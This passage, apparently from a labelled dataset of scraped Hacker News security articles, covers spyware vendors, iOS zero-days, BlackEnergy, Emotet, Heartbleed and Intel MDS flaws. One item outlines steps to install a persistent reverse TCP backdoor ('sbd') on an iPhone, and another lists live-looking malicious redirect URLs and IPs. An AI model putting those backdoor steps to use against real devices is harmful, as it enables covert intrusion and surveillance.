SQL injection bugs – which allow hackers to directly interact with a Web site's database – are the ones that have been blamed for the massive data breaches at kiddie toymaker VTech and telecom firm TalkTalk.

According to the report, the risk size of the above vulnerabilities can be measured by the volume of PHP apps developed for the Top 3 CMS (Content Management Systems) – WordPress, Drupal and Joomla – that represent over 70% of the CMS market.

Choose Your Scripting Language Wisely

Less than a quarter of Java applications contain SQL injection flaws, compared to more than three-quarters of those applications written in PHP.
""When organizations are starting new development projects and selecting languages and methodologies, the security team has an opportunity to anticipate the types of vulnerabilities that are likely to arise and how best to test for them,"" Veracode's CTO Chris Wysopal advised.
For more details, you can download Vercode's State of Software Security Report (PDF).

",Vulnerability
Researchers Uncover Spying Tool Used by Governments to Hijack all Types of Smartphones,https://thehackernews.com/2014/06/researchers-uncover-spying-tool-used-by.html,"Purchasing malware to victimize people is illegal by laws but if the same thing any government official do, then its not!! Yes, the police forces around the World are following the footsteps of U.S. National Security Agency (NSA) and FBI.

Researchers from the Citizen Lab at the Munk School of Global Affairs at the University of Toronto and computer security firm Kaspersky Lab have unearthed a broad network of controversial spyware which is specially designed to give law enforcement agencies complete access to a suspect's phone for the purpose of surveillance.

MALWARE FOR DESKTOPS AND ALL MOBILE DEVICES
The malware, dubbed as Remote Control System (RCS), also known as Da Vinci and Galileo, is developed by an Italian company known as Hacking Team, available for desktop computers, laptops, and mobile devices. The latest version of the malware works for all phone including Android, iOS, Windows Mobile, Symbian and BlackBerry devices, but best on Android devices, and can also be installed on jailbroken iOS devices. But even if the targeted iOS device is not jailbroken, the malware uses the famous Evasi0n jailbreaking tool to install the malware easily.

The team of researchers from both Citizen Lab and Kaspersky Lab in collaboration has presented their findings during an event in London. According to the report published, the diameter of the command infrastructure supporting Hacking Team, which sells the RCS to governments and law enforcement, is very vast with 326 command-and-control (C&C) servers running in more than 40 countries.

MALWARE DEVELOPERS - 'HACKING TEAM'
Hacking Team is a Milan-based IT company with more than 50 employees that has made a totally different place for itself selling ""offensive"" intrusion and surveillance software to governments and law enforcement agencies in ""several dozen countries"" on ""six continents.""

""It was a well-known fact for quite some time that the HackingTeam products included malware for mobile phones. However, these were rarely seen,"" said Kaspersky Lab experts on the blog post. ""In particular, the Android and iOS Trojans have never been identified before and represented one of the remaining blank spots in the story.""

WORLD WIDE WEB OF COMMAND-N-CONTROL SERVERS
Kaspersky Lab researchers have used a fingerprinting method to scan the entire IPv4 space and to identify the IP addresses of RCS Command & Control servers around the world and found the biggest host in United States with 64 counts of C&C servers. Next on the list was Kazakhstan with 49, Ecuador has 35, UK which hosts 32 control systems and many other countries with a grand total of 326 Command & Control servers.
""The presence of these servers in a given country doesn't mean to say they are used by that particular country's law enforcement agencies,"" said Sergey Golovanov, principal security researcher at Kaspersky Lab. ""However, it makes sense for the users of RCS to deploy C&Cs in locations they control – where there are minimal risks of cross-border legal issues or server seizures.""
ATTACK VECTOR AND MALWARE FEATURES
RCS can be physically implanted on the victim's device through a USB or SD card, and remotely it can be installed through spear phishing, exploit kits, drive-by downloads or network traffic injection.

Once installed on Apple iOS and Android device, the new module enable governments and law enforcement officers with larger capabilities to monitor victim devices, including the ability to:
control phone network
steal data from their device
record voice E-mail
intercept SMS and MMS messages
obtain call history
report on their location
use the device's microphone in real time
intercept voice and SMS messages sent via applications such as Skype, WhatsApp, Viber, and much more.
""Secretly activating the microphone and taking regular camera shots provides constant surveillance of the target—which is much more powerful than traditional cloak and dagger operations,"" Golovanov wrote.
While, the Android module is protected by an optimizer for Android called DexGuard that made the it extremely difficult to analyze. However, most of the iOS capabilities mentioned above are also available for Android, along with the support for hijacking applications such Facebook, Google Talk, Tencent of China and many more.

The mobile modules for each are custom-built for each target, researchers said. From previous disclosures we have seen that RCS is currently being used to spy on political dissidents, journalists, human rights advocates, and opposing political figures.

",Malware
USB Immunizer : Anti-Malware Tool Against Autorun Viruses,https://thehackernews.com/2011/05/usb-immunizer-anti-malware-tool-against.html,"USB Immunizer : Anti-Malware Tool Against Autorun Viruses

The USB immunizer is BitDefender's response to this growing issue.

Autorun-based malware has been atop of the worldwide e-threat landscape, with notorious representatives such as Trojan.AutorunInf, the Conficker worm (Win32.Worm.Downadup) or Worm.Autorun.VHD. Have to agree on that, many of us get infected buy some silly malware simply by plugin in our friends or neighbours USB , DVD etc…

Introduced back in the Windows XP era to facilitate software installations from CD-ROM media for non-technical computer users, the Autorun feature has rapidly become the infection vector of choice for cyber-criminals.

The Immunize option allows you to immunize your USB storage device or SD card against infections with autorun-based malware. Even if your storage device has been plugged into an infected computer, the piece of malware will be unable to create its autorun.inf file, thus annihilating any chance of auto-launching itself.

The Immunize Computer slider allows you to toggle the autorun feature On or Off for any removable media (except for CD/DVD-ROM devices). If you accidentally plug in an infected USB drive that has not been immunized, the computer will not auto-execute the piece of malware located on the USB storage device.

Download USB Immunizer

",Malware
Apple releases 'Emergency' Patch after Advanced Spyware Targets Human Rights Activist,https://thehackernews.com/2016/08/apple-security-update.html,"Apple has released iOS 9.3.5 update for iPhones and iPads to patch three zero-day vulnerabilities after a piece of spyware found targeting the iPhone used by a renowned UAE human rights defender, Ahmed Mansoor.

One of the world's most invasive software weapon distributors, called the NSO Group, has been exploiting three zero-day security vulnerabilities in order to spy on dissidents and journalists.

The NSO Group is an Israeli firm that sells spying and surveillance software that secretly tracks a target's mobile phone.

The zero-day exploits have allowed the company to develop sophisticated spyware tools that can access the device location, contacts, texts, calls logs, emails and even microphone.

Apple fixed these three vulnerabilities within ten days after being informed by two security firms, Citizen Lab and Lookout, who conducted a joint investigation.

Background Story: Malware Discovery

Mansoor, 46, 'Martin Ennals Award' winner from the United Arab Emirates, received a text message on his iPhone on August 10, from an unknown number.

Mansoor found the message suspicious and knowing that government hackers had already targeted him in the past, he forwarded that message directly to Citizen Lab researcher Bill Marczak.

Citizen Lab brought in Lookout, a San Francisco mobile security company, to help examine the message.

After analyzing the message content, the researchers found that the link led to a sophisticated piece of malware that exploited three different unknown flaws in Apple's iOS that would have allowed the attackers to get complete control of Mansoor's iPhone.
Those links, if clicked, ""Mansoor's iPhone would have been turned into a sophisticated bugging device controlled by UAE security agencies,"" the Citizen Lab explained in a blog post.
""They would have been able to turn on his iPhone's camera and microphone to record Mansoor and anything nearby, without him being wise about it. They would have been able to log his emails and calls — even those that are encrypted end-to-end. And, of course, they would have been able to track his precise whereabouts.""
According to a blog post published by Lookout, the three zero-day flaws, dubbed ""Trident"" by the firm, involved:
A memory corruption vulnerability in WebKit that could allow hackers to exploit a device when a user clicks on a malicious link.
Two kernel bugs (allowing device jailbreak) that an attacker secretly installs malware on victim's device to carry out surveillance.
Apple released the patch update, iOS 9.3.5, on Thursday, and labeled it ""important,"" advising its users to install the latest version of iOS as soon as possible to protect their devices against these potential security exploits.

You can install the security update over-the-air (OTA) via your iPhone or iPad's settings.

",Malware
Hackers Cause World's First Power Outage with Malware,https://thehackernews.com/2016/01/Ukraine-power-system-hacked.html,"SCADA system has always been an interesting target for cyber crooks, given the success of Stuxnet malware that was developed by the US and Israeli together to sabotage the Iranian nuclear facilities a few years ago, and ""Havex"" that previously targeted organizations in the energy sector.

Now once again, hackers have used highly destructive malware and infected, at least, three regional power authorities in Ukraine, causing blackouts across the Ivano-Frankivsk region of Ukraine on 23rd December.

The energy ministry confirmed it was investigating claims a cyber attack disrupted local energy provider Prykarpattyaoblenergo, causing the power outage that left half of the homes in Ivano-Frankivsk without electricity just before Christmas.

According to a Ukrainian news service TSN, the outage was the result of nasty malware that disconnected electrical substations.

Related Read: Dragonfly Russian Hackers Target 1000 Western Energy Firms.

First Malware to Cause Power Outage

On Monday, researchers from antivirus provider ESET confirmed that multiple power authorities in Ukraine were infected by ""BlackEnergy"" trojan.

BlackEnergy Trojan was first discovered in 2007 as a relatively simple tool to conduct Distributed Denial of Service (DDoS) attacks but was updated two years ago to add a host of new features, including the ability to render infected computers unbootable.

The malware was launched by ""Russian security services"" with it being used against industrial control systems and politically sensitive targets, the SBU state intelligence service said in a statement on Monday.

According to ESET, the malware was recently updated again to add a new component called KillDisk and a backdoored secure shell (SSH) utility that gives hackers permanent access to infected computers.

Also Read: This 'Killer USB' can make your Computer explode

The KillDisk module enables the BlackEnergy malware to destroy critical parts of a computer hard drive and to sabotage industrial control systems, the same used in attacks against Ukrainian news media companies and the electrical power industry.
""The first known case where the KillDisk component of BlackEnergy was used was documented by CERT-UA in November 2015,"" Anton Cherepanov of ESET wrote in a blog post. ""In that instance, a number of news media companies were attacked at the time of the 2015 Ukrainian local elections. The report claims that a large number of video materials and various documents were destroyed as a result of the attack.""

How Did Hackers Cause Blackouts?

Researchers said hackers had used backdoors to spread the KillDisk wiper module through booby-trapped macro functions embedded in Microsoft Office documents across the Ukrainian power authorities.

Therefore, it is believed that the initial point of infection with BlackEnergy caused after employees opened Microsoft Office files containing malicious macros.

Related Read: 'Regin' Spying Malware Targeted Govts, Infrastructures for Years.

It is really disturbing that industrial control systems used to supply power to Millions of homes could be infected using such a simple social-engineering trick.

Moreover, the most concerning part is that the BlackEnergy malware is now being used to create power failures that can even have life-and-death consequences for large numbers of people.

Ukrainian authorities are investigating the hacking attack on its power grid. For more technical details about the latest BlackEnergy package, you can read on ESET blog.

",Malware
Whistleblowers' Lawyer Finds Malware On Hard Disk Planted By Police,https://thehackernews.com/2015/04/hard-disk-malware.html,"An Arkansas lawyer representing three police whistleblowers has claimed that the law enforcement officials at the Fort Smith Police Department (FSPD) tried to infect his computer with Trojan viruses in order to spy on their legal opponents.

What's the issue?

A lawyer Matthew Campbell of the Pinnacle Law Firm in North Little Rock is representing Don Paul Bales, Rick Entmeier, and Wendall Sampson, current and former officers of the Fort Smith Police Department in the lawsuit since January 2014.

The three whistleblowers exposed some frauds within the corrupt department, and, therefore, the police have illegally investigated them.
""Since July 2013, the plaintiffs have been the target of nearly two dozen various investigations, Campbell told the Northwest Arkansas Democrat Gazette. ""[This range] from accusations that they misspent FSPD funds to allegations that they were impugning the FSPD on Facebook.""
What happened?

Campbell provided a blank hard drive to the department requesting an archive of internal emails and other data as evidence, according to court documents.

However, when the police department returned his external hard drive back to him, he found it loaded with three well-known Trojans, including a backdoor and a password-sniffing keylogger.

The worse part:

After examination of the hard drive's file system, the lawyer's security consultant, Geoff Mueller, discovered three distinct types of Windows PC malware installed in a specific folder, one named D:\Bales Court Order.

The Trojans are as follows:
Win32:Zbot-AVH[Trj] – A password stealer and backdoor
NSIS:Downloader-CC[Trj] – A tool that connects to attacker-controlled servers and downloads and installs more malicious programs to run
Two instances of Win32Cycbot-NF[Trj] – A nasty software that opens a backdoor and gives attackers freedom on the infected computer
Not only the hard disk contained all the Trojans in the same sub-folder and not in the root directory, but also these Trojans more likely believed to have been placed there intentionally with an aim to take command of Campbell's computer.

All the three Trojans were designed to steal passwords, install malicious software and grant FSPD command and control access for the Campbell's computer.

Not just Trojans:

Campbell also accuses the police department of deleting swathes of emails related to the case that could have been recovered, according to the motion for sanctions [PDF].

The discovery ordered requested the department to hand over all relevant internal emails, but instead handing it over, the department purged those emails from the system that could have been recovered and deleted emails that were previously provided in response to freedom of information requests, Campbell claimed.

Now, the lawyer has requested the court to hold the police department in criminal contempt, and has asked for the heading judge to rule in the favor of his clients. However, the Fort Smith Police Department (FSPD) haven't yet commented on the issue.

",Malware
Permanent Reverse TCP Backdoor for IPhone and IPad,https://thehackernews.com/2012/04/permanent-reverse-tcp-backdoor-for.html,"Security Expert from Coresec explains the use of a Permanent Reverse TCP Backdoor ""sbd-1.36"" for IPhone and IPad developed by Michel Blomgren.


sbd is a Netcat-clone, designed to be portable and offer strong encryption. It runs on Unix-like operating systems and on Microsoft Win32. sbd features AES-128-CBC + HMAC-SHA1 encryption (by Christophe Devine), program execution (-e option), choosing source port, continuous reconnection with delay, and some other nice features. Only TCP/IP communication is supported.

Steps to pwn the Iphone:
1. Install packages iphone-gcc using ""apt-get install iphone-gcc"" & make ""apt-get install make""
2. Download sbd backdoor to the device using Wget from here & Untar - ""tar -zxvf sbd-1.36.tar.gz""
3.) Sbd configuration before the compilation, See details here.
4.) Compilation process - ""make darwin""
5. Configuration to RunAtLoad using LaunchDaemons (for permanent access)
6. Gaining access to victim (from Linux box)

Get the Source Code here and Instructions to Use.

",Vulnerability
European Authorities Disrupt Emotet — World's Most Dangerous Malware,https://thehackernews.com/2021/01/european-authorities-disrupt-emotet.html,"Law enforcement agencies from as many as eight countries dismantled the infrastructure of Emotet, a notorious email-based Windows malware behind several botnet-driven spam campaigns and ransomware attacks over the past decade.
The coordinated takedown of the botnet on Tuesday — dubbed ""Operation Ladybird"" — is the result of a joint effort between authorities in the Netherlands, Germany, the U.S., the U.K., France, Lithuania, Canada, and Ukraine to take control of servers used to run and maintain the malware network.
""The Emotet infrastructure essentially acted as a primary door opener for computer systems on a global scale,"" Europol said. ""What made Emotet so dangerous is that the malware was offered for hire to other cybercriminals to install other types of malware, such as banking Trojans or ransomware, onto a victim's computer.""
More Than a Malware
Since its first identification in 2014, Emotet has evolved from its initial roots as a credential stealer and banking Trojan to a powerful ""Swiss Army knife"" that can serve as a downloader, information stealer, and spambot depending on how it's deployed.
Known for being constantly under development, the cybercrime service updates itself regularly to improve stealthiness, persistence, and add new spying capabilities through a wide range of modules, including a Wi-Fi spreader that was recently added to identify and compromise fresh victims connected to nearby Wi-Fi networks.
Last year, the malware was linked to several botnet-driven spam campaigns and even capable of delivering more dangerous payloads such as TrickBot and Ryuk ransomware by renting its botnet of compromised machines to other malware groups.
""The Emotet group managed to take e-mail as an attack vector to a next level,"" Europol said.
700 Emotet Servers Seized
The U.K.'s National Crime Agency (NCA) said the operation took nearly two years to map the infrastructure of Emotet, with multiple properties in the Ukrainian city of Kharkiv raided to confiscate computer equipment used by the hackers.
The Ukrainian Cyberpolice Department also arrested two individuals allegedly involved in the botnet's infrastructure maintenance, both of whom are facing 12 years in prison if found guilty.
""Analysis of accounts used by the group behind Emotet showed $10.5 million being moved over a two-year period on just one Virtual Currency platform,"" the NCA said, adding ""almost $500,000 had been spent by the group over the same period to maintain its criminal infrastructure.""
Globally, Emotet-linked damages are said to have cost about $2.5 billion, Ukrainian authorities said.
With at least 700 servers operated by Emotet across the world now having been taken down from the inside, machines infected by the malware are set to be directed to this law enforcement-infrastructure, thus preventing further exploitation.
In addition, the Dutch National Police has released a tool to check for potential compromise, based on a dataset containing 600,000 e-mail addresses, usernames, and passwords that were identified during the operation.
Emotet to Be Wiped En Masse on April 25, 2021
The Dutch police, which seized two central servers located in the country, said it has deployed a software update to neutralize the threat posed by Emotet effectively.
""All infected computer systems will automatically retrieve the update there, after which the Emotet infection will be quarantined,"" the agency said. According to a tweet from a security researcher who goes by the Twitter handle milkream, Emotet is expected to be wiped on April 25, 2021, at 12:00 local time from all compromised machines.
Corroborating the findings, Malwarebytes researchers said the payload to remove the malware (""EmotetLoader.dll"") will be pushed via the same channels that were used to distribute the original Emotet, with the uninstaller deleting the service associated with the malware and its autorun Registry key.
The April deadline also means that the update doesn't entirely prevent Emotet (""X.dll"") from being installed on a system. But with the command-and-control servers now sinkholed and under law enforcement's control, the malware will be stymied in its efforts to download further modules onto the infected host.
""The lengthy delay for the cleanup routine to activate may be explained by the need to give system administrators time for forensics analysis and checking for other infections,"" Malwarebytes' Threat Intelligence Team said.
Given the nature of the takedown operation, it remains to be seen if Emotet can stage a comeback. If it does, it wouldn't be the first time a botnet survived major disruption efforts.
As of writing, Abuse.ch's Feodo Tracker shows at least 20 Emotet servers are still online.
""A combination of both updated cybersecurity tools (antivirus and operating systems) and cybersecurity awareness is essential to avoid falling victim to sophisticated botnets like Emotet,"" Europol cautioned.
""Users should carefully check their e-mail and avoid opening messages and especially attachments from unknown senders. If a message seems too good to be true, it likely is and e-mails that implore a sense of urgency should be avoided at all costs.""

",Cyber_Attack
Malware behind Microsoft Excel-based Sudoku generator,https://thehackernews.com/2012/12/malware-behind-microsoft-excel-based.html,"Sudoku is one such game that I believe will benefit your brain, but now not for your system. Peter Szabo from SophosLabs have identified a piece of malware that resides behind a Microsoft Excel-based Sudoku generator.

The Malware developed in Visual Basic requires macros, a scripting language that allows users to create equations based on values in different columns and rows.
Microsoft disable macros by default , because in past macros were the weapon of choice for cyber criminals . But in order for the generator to work, the user must activate macros. Unfortunately, while the user is enjoying the Sudoku, the macro is installing malware in the targeted machine.

Keyboard and mouse macros allow sequences of keystrokes and mouse actions to be transformed into shorter commands and also it can easily gathers system information by using the ipconfig, systeminfo like commands.

Once the bug has collected a machine's IP address, running processes, installed applications and a host of other details, it encodes and sends the information to an email address with an aol.com suffix.

",Malware
Leaked NSA Hacking Tools Were 'Mistakenly' Left By An Agent On A Remote Server,https://thehackernews.com/2016/09/nsa-hacking-tool-exploits.html,"If you are a hacker, you might have enjoyed the NSA's private zero-day exploits, malware and hacking tools that were leaked last month.

But the question is: How these hacking tools ended up into the hands of hackers?

It has been found that the NSA itself was not directly hacked, but a former NSA employee carelessly left those hacking tools on a remote server three years ago after an operation and a group of Russian hackers found them, sources close to the investigation told Reuters.

The leaked hacking tools, which enable hackers to exploit vulnerabilities in systems from big vendors like Cisco Systems, Juniper, and Fortinet, were dumped publicly online by the group calling itself ""The Shadow Brokers.""

NSA officials have also admitted to the FBI that their careless employee acknowledged the error shortly afterward, and hence the agency was aware of its operative's mistake from last three years.

But instead of warning the affected companies that their customers were at risk, the NSA maintained the silence.
""After the discovery, the NSA tuned its sensors to detect [the] use of any of the tools by other parties, especially foreign adversaries with strong cyber espionage operations, such as China and Russia,"" Reuters reports.
Well, that's Bullshit! If they call it a 'tactic.'

Shortly after the public release of NSA cyber weapons, firewall vendors Cisco and Fortinet confirmed that the leaked zero-day vulnerabilities were legitimate and issued out patches to fix those exploits.

We are still waiting for the comments from the NSA, the FBI and the Office of the Director of National Intelligence about the matter.

Since the initial leak of NSA's hacking tools last month and confirmation of the leaked vulnerabilities being legitimate by Cisco and Fortinet, the intelligence agency and online community has been finding out the working exploits in the data dump that are still unknown and used in the wild.

Just recently, Cisco revealed a new zero-day vulnerability from the leaked data dump that had been used by hackers to target some of its customers, which indicates that hackers would likely continue to take advantage of the now-exposed exploits to conduct cyber attacks.

",Data_Breaches
19-Year-Old Teenager Arrested for Exploiting Heartbleed Bug to Steal Data,https://thehackernews.com/2014/04/19-year-old-teenager-arrested-for_16.html,"A teenager has been arrested by the Canadian police in relation to the infamous malicious breach on the country's taxpayer system using one of the most critical internet flaws, Heartbleed.

Heartbleed bug, that made headlines over past two weeks and every websites around the world flooded with its articles. Every informational website, Media and Security researchers are talking about Heartbleed, probably the biggest Internet vulnerability in recent history.

According to the Royal Canadian Mounted Police (RCMP), a 19-year-old 'Stephen Arthuro Solis-Reyes' of London, Ontario, is charged with the unauthorized access of the computer and criminal mischief in relation to the data breach of taxpayer's private information from the Canada Revenue Agency (CRA) website.

""The RCMP treated this breach of security as a high priority case and mobilized the necessary resources to resolve the matter as quickly as possible,"" Assistant Commissioner Gilles Michaud said in a statement.

""Investigators from National Division, along with our counterparts in 'Ontario' Division have been working tirelessly over the last four days analyzing data, following leads, conducting interviews, obtaining and executing legal authorizations and liaising with our partners,"" he added.

After the public disclosure of Heartbleed bug on April 9, Solis-Reyes allegedly exploited this most critical security vulnerability, present in the OpenSSL of the CRA servers, to extract the private and sensitive information, including the social insurance numbers from the company's system, before the computers were patched.

Heartbleed is a critical bug in the OpenSSL's implementation of the TLS/DTLS heartbeat extension that allows attackers to read portions of the affected server's memory, potentially revealing users data, that the server did not intend to reveal.

Though there were allegations on the U.S. intelligence agency NSA of using the Heartbleed vulnerabilities from years to gather confidential information. But, this is the first known incident of hacker exploiting the critical internet Heartbleed bug to steal and compromise the data from the servers which are running on an affected OpenSSL version.

Exploiting the Heartbleed bug itself rarely leaves any traces, unless the attacker is not sending millions of heartbeats continuously from his own IP addresses. ""The fact that they were able to trace it back to someone implies that it is not the work of organized crime or a professional hacker. It would be someone of very low skill."" said Mark Nunnikhoven, Trend Micro.

Solis-Reyes was arrested at his residence without incident on April 15 and is scheduled to appear in court in Ottawa on July 17, 2014, RCMP reported. The police also seized computer equipment from his residence, while the investigation is ongoing.

More on HeartBleed:
HeartBleed Bug Explained - 10 Most Frequently Asked Questions
How Heartbleed Bug Exposes Your Passwords to Hackers
German Developer responsible for HeartBleed Bug in OpenSSL
How to Protect yourself from the 'Heartbleed' Bug
Heartbleed - OpenSSL Zero-day Bug leaves Millions of websites Vulnerable
NSA denies Report that Agency knew and exploited Heartbleed Vulnerability
Billions of Smartphone Users affected by Heartbleed Vulnerability

",Vulnerability
Popular Period Tracking Apps Share Your Sexual Health Data With Facebook,https://thehackernews.com/2019/09/facebook-period-tracker-privacy.html,"Hello Ladies, let's talk about periods, privacy, and Facebook.

Are you using an app on your smartphone to keep tracks on your periods?

Well, it's worrying, because it might be sharing your extremely sensitive information like menstrual cycle and sexual activities with Facebook.

A new investigative report from UK-based advocacy group Privacy International revealed how some most popular period tracker apps used by millions of women share their most private health information—including monthly period cycles, contraception use, sexual life, symptoms, like swelling and cramps, and more—directly with Facebook.

These period-tracking apps, listed below, transfer your data to Facebook the moment you open them, regardless of the fact that you have a Facebook account or not, and whether you are logged into the social network platform or not.

Period-tracking apps are used by women to keep tracks on their monthly period cycles, but mostly they are being used by those who want to conceive, as such apps can help them monitor ovulation days when there are more chances of conceiving a child.

For accuracy in calculating the day of the month you're most fertile or the date of your next period, these apps ask you to log some of your most sensitive information into the app, like when you have sex, dates of your periods, physical and emotional symptoms and more—the information you would otherwise not prefer to share with anyone.

These Period Tracking Apps Share Your Data With Facebook

However, Privacy International found that some of the most popular period-tracking apps with millions of downloads on Google Play Store, listed below, share this information directly with Facebook or other third-party services.


The apps share user-entered data with Facebook via its software development kit (SDK) integrated into the app to help app developers, among other functions, earn revenue by collecting user data so Facebook can show them targeted advertisements.

Maya—owned by India-based Plackal Tech and has over 5 million downloads
MIA Fem: Ovulation Calculator—by Cyprus-based Mobapp Development Limited and has over 1 million downloads
My Period Tracker—owned by Linchpin Health and has over 1 million downloads
Ovulation Calculator—owned by PinkBird and has over half a million downloads
Mi Calendario—by Grupo Familia and has more than 1 million downloads

""The wide reach of the apps that our research has looked at might mean that intimate details of the private lives of millions of users across the world are shared with Facebook and other third parties without those users' free unambiguous and informed or explicit consent, in the case of sensitive personal data, such as data relating to a user's health or sex life,"" the report reads.



Besides sharing users' data with third-party services, some period-tracking apps even ask them if they want to anonymize this data or not, as the report says: ""If you have unprotected sex, MIA will tell you what to do. And share it with Facebook and others.""

""Confidentiality is at the heart of medical ethics and countries that have data protection laws traditionally have a separate regime for health data, which includes health data, which are considered sensitive data,"" the researchers said.

""Our research highlights that the apps we have exposed raise serious concerns when it comes to their compliance with their GDPR obligations, especially around consent and transparency.""

Facebook and Affected Apps Responded

When contacted, one of the app, called Maya, told PI that the app had ""removed both the Facebook core SDK and Analytics SDK from Maya"" and released a new version of its app, Version 3.6.7.7, on the Google Play Store that reflect these changes.

Maya also said the app would continue to use the Facebook Ad SDK for users who had agreed to its terms and conditions and privacy policy, but added that it does not ""share any personally identifiable data or medical data with the Facebook Ad SDK.""



PinkBird, who owns Ovulation Calculator, acknowledged that the app had integrated Facebook advertising SDK to maintain the development of PinkBird team, but said it would ""investigate whether the advertising platform collects users' private data or not, and if it collects, we will remove it immediately.""

In response to the report, Facebook said its Terms require every app developer to be clear with their users about what information they are gathering and sharing with the social network and have a ""lawful basis"" for collecting this data.

Facebook also added that it prohibits app developers from sharing customer data that ""includes health, financial information, or other categories of sensitive information (including any information defined as sensitive under applicable law).""

The social media giant also said it had got in touch with the period-tracking apps in question about potential violations of Facebook's terms of service.

",Data_Breaches
New Class of CPU Flaws Affect Almost Every Intel Processor Since 2011,https://thehackernews.com/2019/05/intel-processor-vulnerabilities.html,"Academic researchers today disclosed details of the newest class of speculative execution side-channel vulnerabilities in Intel processors that impacts all modern chips, including the chips used in Apple devices.

After the discovery of Spectre and Meltdown processor vulnerabilities earlier last year that put practically every computer in the world at risk, different classes of Spectre and Meltdown variations surfaced again and again.

Now, a team of security researchers from multiple universities and security firms has discovered different but more dangerous speculative execution side-channel vulnerabilities in Intel CPUs.

The newly discovered flaws could allow attackers to directly steal user-level, as well as system-level secrets from CPU buffers, including user keys, passwords, and disk encryption keys.

Speculative execution is a core component of modern processors design that speculatively executes instructions based on assumptions that are considered likely to be true. If the assumptions come out to be valid, the execution continues, otherwise discarded.

Dubbed Microarchitectural Data Sampling (MDS attacks), the newest class of vulnerabilities consist of four different flaws, which, unlike existing attacks that leak data stored in CPU caches, can leak arbitrary in-flight data from CPU-internal buffers, such as Line Fill Buffers, Load Ports, or Store Buffers.

""The new vulnerabilities can be used by motivated hackers to leak privileged information data from an area of the memory that hardware safeguards deem off-limits. It can be weaponized in highly targeted attacks that would normally require system-wide privileges or deep subversion of the operating system,"" BitDefender told The Hacker New.

Here's the list of vulnerabilities derive from the newest MDS speculative execution in Intel processors:

CVE-2018-12126—Microarchitectural Store Buffer Data Sampling (MSBDS), also known as Fallout attack.
CVE-2018-12130—Microarchitectural Fill Buffer Data Sampling (MFBDS), also known as Zombieload, or RIDL (Rogue In-Flight Data Load).
CVE-2018-12127—Microarchitectural Load Port Data Sampling (MLPDS), also part of RIDL class of attacks.
CVE-2019-11091—Microarchitectural Data Sampling Uncacheable Memory (MDSUM), also part of RIDL class of attacks.

The Fallout attack is a new transient execution attack that could allow unprivileged user processes to steal information from a previously unexplored microarchitectural component called Store Buffers.

The attack can be used to read data that the operating system recently wrote and also helps to figure out the memory position of the operating system that could be exploited with other attacks.

In their proof-of-concept attack, researchers showed how Fallout could be used to break Kernel Address Space Layout Randomization (KASLR), and leak sensitive data written to memory by the operating system kernel.

ZombieLoad attack affects a wide range of desktops, laptops, and cloud computers with Intel processor generations released from 2011 onwards. It can be used to read data that is recently accessed or accessed in parallel on the same processor core.
The ZombieLoad attack does not only work on personal computers to leak information from other applications and the operating system but can also be exploited on virtual machines running in the cloud with common hardware.

""ZombieLoad is furthermore not limited to native code execution, but also works across virtualization boundaries. Hence, virtual machines can attack not only the hypervisor but also different virtual machines running on a sibling logical core,"" researchers explain.

""We conclude that disabling hyperthreading, in addition to flushing several microarchitectural states during context switches, is the only possible workaround to prevent this extremely powerful attack.""

Researchers even made available a tool for Windows and Linux users to test their systems against RIDL and Fallout attacks as well as other speculative execution flaws.

Researchers tested their proof-of-concept exploits against Intel Ivy Bridge, Haswell, Skylake and Kaby Lake microarchitectures as shown in the video demonstrations.

Academics have discovered the MDS vulnerabilities from the Austrian university TU Graz, Vrije Universiteit Amsterdam, the University of Michigan, the University of Adelaide, KU Leuven in Belgium, Worcester Polytechnic Institute, Saarland University in Germany and security firms Cyberus, BitDefender, Qihoo360 and Oracle.

Multiple researchers independently reported Intel of the MSD vulnerabilities starting June 2018, but the Chip giant had asked all the researchers to keep their findings secret, some for more than a year, until the company could come out with fixes for the vulnerabilities.
Intel has now released Microcode Updates (MCU) updates to fix the MDS vulnerabilities in both hardware and software by clearing all data from buffers whenever the CPU crosses a security boundary so that the data can't be leaked or stolen.

Every operating system, virtualization vendor, and other software makers are highly recommended to implement the patch as soon as possible.

AMD and ARM chips are not vulnerable to the MDS attacks, and Intel says that some models of its chip already include hardware mitigations against this flaw.

Apple says it released a fix to address the vulnerability in the macOS Mojave 10.14.5 and Safari updates that were released yesterday.

Microsoft has also released software updates to help mitigate the MDS vulnerabilities. In some cases, the company says installing the updates will have a performance impact.
",Vulnerability
Blackhole Exploit Kit attack on WampServer & Wordpress sites,https://thehackernews.com/2011/11/blackhole-exploit-kit-attack-on.html,"Blackhole Exploit Kit attack on WampServer & Wordpress sites

Kimberly from Stopmalvertising found Blackhole Exploit Kit on Website of most popular Webserver software site WAMPSERVER. Almost at the bottom of the webpage they notice a Javascript requesting a file from jquery.googlecode.com. The URL is followed by a long string of parameters. The file returns a 404, it's just there to fool people.

Once the script decoded we obtain an iframe leading to vc-business.com/in.php .According to Analyse of Kimberly , If a vulnerable Java, Windows Media Player, Flash or Adobe Reader version is detected, the visitor will be redirected to 91.194.214.66/dng311011/c7a44076f6c722eb74725563b0a000a0/spl.php and from there to 30domaaaam.in/main.php?page=c76874df55550a3f. According to Norton Safe Web, 91.194.214.66 has been caught in distributing the ZeroAccess rootkit.

Second Recent Attack by Blackhole Exploit discovered in thousands of WordPress websites that use a popular non-updated TimThumb image tool. Avast senior researcher Jan Sirmer found attackers had exploited weak FTP server authentication credentials and a vulnerability in the TimThumb image resizer to upload malicious PHP files to the site. But this is not the only way for example they use stolen passwords to direct FTP changes.In your FTP, alongside other site files, a new file will appear that looks like this: ./wp-content/w3tc/min/a12ed303.925433.js or ./wp-includes/js/l10n.js

The attack used the BlackHole exploit kit, which redirected the website's visitors to an external malware-hosting site. Researchers detected an additional 3,500 unique infected WordPress sites, which redirected visitors to malicious sites between Aug. 28 to 31. During September , the company blocked redirects from 2,515 WordPress sites, Sirmer said.

In bottom part of code, there is a request to https://91.169.216.20/url.php where only one line of code is stored: assa ='Domain with Black Hole exploit kit'. A fix is available for the TimThumb tool.

",Vulnerability
"Feedly and Evernote Hit by DDoS Attacks, Extortion Demands",https://thehackernews.com/2014/06/feedly-and-evernote-hit-by-ddos-attacks.html,"Yesterday, the most popular RSS reader Feedly was down as a result of a large scale distributed-denial-of service (DDoS) attack carried by the cybercriminals to extort money.

On Wednesday, the Feedly was temporarily unavailable for its users. Feedly posted details of the attack at 5:00 AM ET on its blog saying that they were under a Distributed Denial of Service (DDoS) attack and cyber-criminals were demanding money in return for returning the service to its normal operations.

